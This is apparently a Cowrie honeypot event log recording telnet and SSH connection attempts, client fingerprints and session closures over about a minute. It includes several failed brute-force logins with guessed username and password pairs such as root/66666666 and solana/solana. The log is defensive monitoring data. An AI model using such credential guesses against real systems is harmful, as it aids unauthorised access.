{"eventid":"cowrie.session.closed","duration":32.764355421066284,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:53.016181Z","src_ip":"142.93.2.99","session":"cc043588b9f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34576,"dst_ip":"159.203.135.109","dst_port":23,"session":"0622b56c53ff","protocol":"telnet","message":"New connection: 142.93.2.99:34576 (159.203.135.109:23) [session: 0622b56c53ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:55.013392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:57.972186Z","src_ip":"31.58.87.216","session":"16b3c11233bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"43.1","message":"Connection lost after 43.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:57.977138Z","src_ip":"31.58.87.216","session":"16b3c11233bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35204,"dst_ip":"159.203.135.109","dst_port":23,"session":"3df893b79b7e","protocol":"telnet","message":"New connection: 142.93.2.99:35204 (159.203.135.109:23) [session: 3df893b79b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:09:58.649637Z"}
{"eventid":"cowrie.session.closed","duration":33.373493909835815,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:01.438662Z","src_ip":"142.93.2.99","session":"b159b8641d21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40946,"dst_ip":"159.203.135.109","dst_port":23,"session":"a176ead3af09","protocol":"telnet","message":"New connection: 142.93.2.99:40946 (159.203.135.109:23) [session: a176ead3af09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:02.619982Z"}
{"eventid":"cowrie.session.closed","duration":33.28367233276367,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:05.050884Z","src_ip":"142.93.2.99","session":"ef5fa37131dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.751129865646362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:07.044366Z","src_ip":"142.93.2.99","session":"c11073e450bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.372317790985107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:07.349517Z","src_ip":"142.93.2.99","session":"062bb57c0520","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":45526,"dst_ip":"159.203.135.109","dst_port":23,"session":"858a7734be3e","protocol":"telnet","message":"New connection: 142.93.2.99:45526 (159.203.135.109:23) [session: 858a7734be3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:08.021357Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46656,"dst_ip":"159.203.135.109","dst_port":23,"session":"0334a891d793","protocol":"telnet","message":"New connection: 142.93.2.99:46656 (159.203.135.109:23) [session: 0334a891d793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:08.352846Z"}
{"eventid":"cowrie.session.closed","duration":33.46859550476074,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:08.737806Z","src_ip":"142.93.2.99","session":"e8f869832106","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45328,"dst_ip":"10.17.0.5","dst_port":23,"session":"4752e9c7560c","protocol":"telnet","message":"New connection: 104.245.105.2:45328 (10.17.0.5:23) [session: 4752e9c7560c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:11.631375Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49664,"dst_ip":"159.203.135.109","dst_port":23,"session":"55397653bb84","protocol":"telnet","message":"New connection: 142.93.2.99:49664 (159.203.135.109:23) [session: 55397653bb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:11.659979Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51938,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1c702ace915","protocol":"telnet","message":"New connection: 142.93.2.99:51938 (159.203.135.109:23) [session: b1c702ace915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:15.217657Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52914,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2177b72f931","protocol":"telnet","message":"New connection: 142.93.2.99:52914 (159.203.135.109:23) [session: a2177b72f931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:15.273197Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54894,"dst_ip":"159.203.135.109","dst_port":23,"session":"862172e6274e","protocol":"telnet","message":"New connection: 142.93.2.99:54894 (159.203.135.109:23) [session: 862172e6274e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:17.381656Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55700,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbeba256a3b6","protocol":"telnet","message":"New connection: 142.93.2.99:55700 (159.203.135.109:23) [session: dbeba256a3b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:18.134145Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55794,"dst_ip":"159.203.135.109","dst_port":23,"session":"88a8a7bf46f6","protocol":"telnet","message":"New connection: 142.93.2.99:55794 (159.203.135.109:23) [session: 88a8a7bf46f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:18.217955Z"}
{"eventid":"cowrie.session.closed","duration":31.408148765563965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:18.305455Z","src_ip":"142.93.2.99","session":"1751ff815124","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21075797080994,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:19.735334Z","src_ip":"142.93.2.99","session":"ac25bf633e7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.70667767524719,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:22.256040Z","src_ip":"142.93.2.99","session":"5230ff2a097b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":45540,"dst_ip":"159.203.135.109","dst_port":22,"session":"b03d79da045d","protocol":"ssh","message":"New connection: 186.233.118.22:45540 (159.203.135.109:22) [session: b03d79da045d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:23.331223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:23.340133Z","src_ip":"186.233.118.22","session":"b03d79da045d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:23.459846Z","src_ip":"186.233.118.22","session":"b03d79da045d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1177","message":"login attempt [root/1177] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:23.968015Z","src_ip":"186.233.118.22","session":"b03d79da045d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:25.090359Z","src_ip":"186.233.118.22","session":"b03d79da045d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35328,"dst_ip":"159.203.135.109","dst_port":23,"session":"79815755923d","protocol":"telnet","message":"New connection: 142.93.2.99:35328 (159.203.135.109:23) [session: 79815755923d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:26.733002Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":37296,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0e353ff43f6","protocol":"telnet","message":"New connection: 142.93.2.99:37296 (159.203.135.109:23) [session: b0e353ff43f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:28.866583Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39350,"dst_ip":"159.203.135.109","dst_port":22,"session":"89df11047a6c","protocol":"ssh","message":"New connection: 2.57.122.238:39350 (159.203.135.109:22) [session: 89df11047a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:29.215367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:29.218802Z","src_ip":"2.57.122.238","session":"89df11047a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:29.318026Z","src_ip":"2.57.122.238","session":"89df11047a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.54264211654663,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:29.555923Z","src_ip":"142.93.2.99","session":"0622b56c53ff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:29.621175Z","src_ip":"2.57.122.238","session":"89df11047a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60372,"dst_ip":"10.17.0.5","dst_port":23,"session":"52c5c5c88e86","protocol":"telnet","message":"New connection: 104.245.105.2:60372 (10.17.0.5:23) [session: 52c5c5c88e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:29.628733Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38742,"dst_ip":"159.203.135.109","dst_port":23,"session":"2156211dc7a2","protocol":"telnet","message":"New connection: 142.93.2.99:38742 (159.203.135.109:23) [session: 2156211dc7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:30.625144Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:30.728441Z","src_ip":"2.57.122.238","session":"89df11047a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.243006467819214,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:31.892504Z","src_ip":"142.93.2.99","session":"3df893b79b7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":48146,"dst_ip":"159.203.135.109","dst_port":22,"session":"6924eb4eee22","protocol":"ssh","message":"New connection: 189.194.140.170:48146 (159.203.135.109:22) [session: 6924eb4eee22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:32.248112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:32.253656Z","src_ip":"189.194.140.170","session":"6924eb4eee22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:32.345182Z","src_ip":"189.194.140.170","session":"6924eb4eee22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39388,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ea95a767bee","protocol":"telnet","message":"New connection: 142.93.2.99:39388 (159.203.135.109:23) [session: 5ea95a767bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:32.373532Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"66666666","message":"login attempt [root/66666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:32.716431Z","src_ip":"189.194.140.170","session":"6924eb4eee22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40796,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7b9414b8c99","protocol":"telnet","message":"New connection: 142.93.2.99:40796 (159.203.135.109:23) [session: a7b9414b8c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:32.954408Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:33.820065Z","src_ip":"189.194.140.170","session":"6924eb4eee22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60374,"dst_ip":"10.17.0.5","dst_port":23,"session":"13ad03437673","protocol":"telnet","message":"New connection: 104.245.105.2:60374 (10.17.0.5:23) [session: 13ad03437673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:34.427922Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40290,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ab0c108c79a","protocol":"telnet","message":"New connection: 142.93.2.99:40290 (159.203.135.109:23) [session: 8ab0c108c79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:35.397935Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43388,"dst_ip":"159.203.135.109","dst_port":23,"session":"14f9593b4e12","protocol":"telnet","message":"New connection: 142.93.2.99:43388 (159.203.135.109:23) [session: 14f9593b4e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:35.833367Z"}
{"eventid":"cowrie.session.closed","duration":33.5806143283844,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:36.200498Z","src_ip":"142.93.2.99","session":"a176ead3af09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44866,"dst_ip":"159.203.135.109","dst_port":23,"session":"09d44e56053d","protocol":"telnet","message":"New connection: 142.93.2.99:44866 (159.203.135.109:23) [session: 09d44e56053d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:38.661797Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":53922,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c658441f044","protocol":"ssh","message":"New connection: 80.94.92.168:53922 (159.203.135.109:22) [session: 2c658441f044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:39.310259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:39.416422Z","src_ip":"80.94.92.168","session":"2c658441f044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:39.524300Z","src_ip":"80.94.92.168","session":"2c658441f044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:40.391542Z","src_ip":"80.94.92.168","session":"2c658441f044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.72880744934082,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:40.750039Z","src_ip":"142.93.2.99","session":"858a7734be3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:41.542328Z","src_ip":"80.94.92.168","session":"2c658441f044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.542433500289917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:42.173692Z","src_ip":"104.245.105.2","session":"4752e9c7560c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48920,"dst_ip":"159.203.135.109","dst_port":23,"session":"8758291ff27f","protocol":"telnet","message":"New connection: 142.93.2.99:48920 (159.203.135.109:23) [session: 8758291ff27f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:42.236622Z"}
{"eventid":"cowrie.session.closed","duration":33.90286087989807,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:42.255554Z","src_ip":"142.93.2.99","session":"0334a891d793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50218,"dst_ip":"159.203.135.109","dst_port":23,"session":"8859056b5137","protocol":"telnet","message":"New connection: 142.93.2.99:50218 (159.203.135.109:23) [session: 8859056b5137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:43.686041Z"}
{"eventid":"cowrie.session.closed","duration":33.16249704360962,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:10:44.822373Z","src_ip":"142.93.2.99","session":"55397653bb84","protocol":"telnet"}
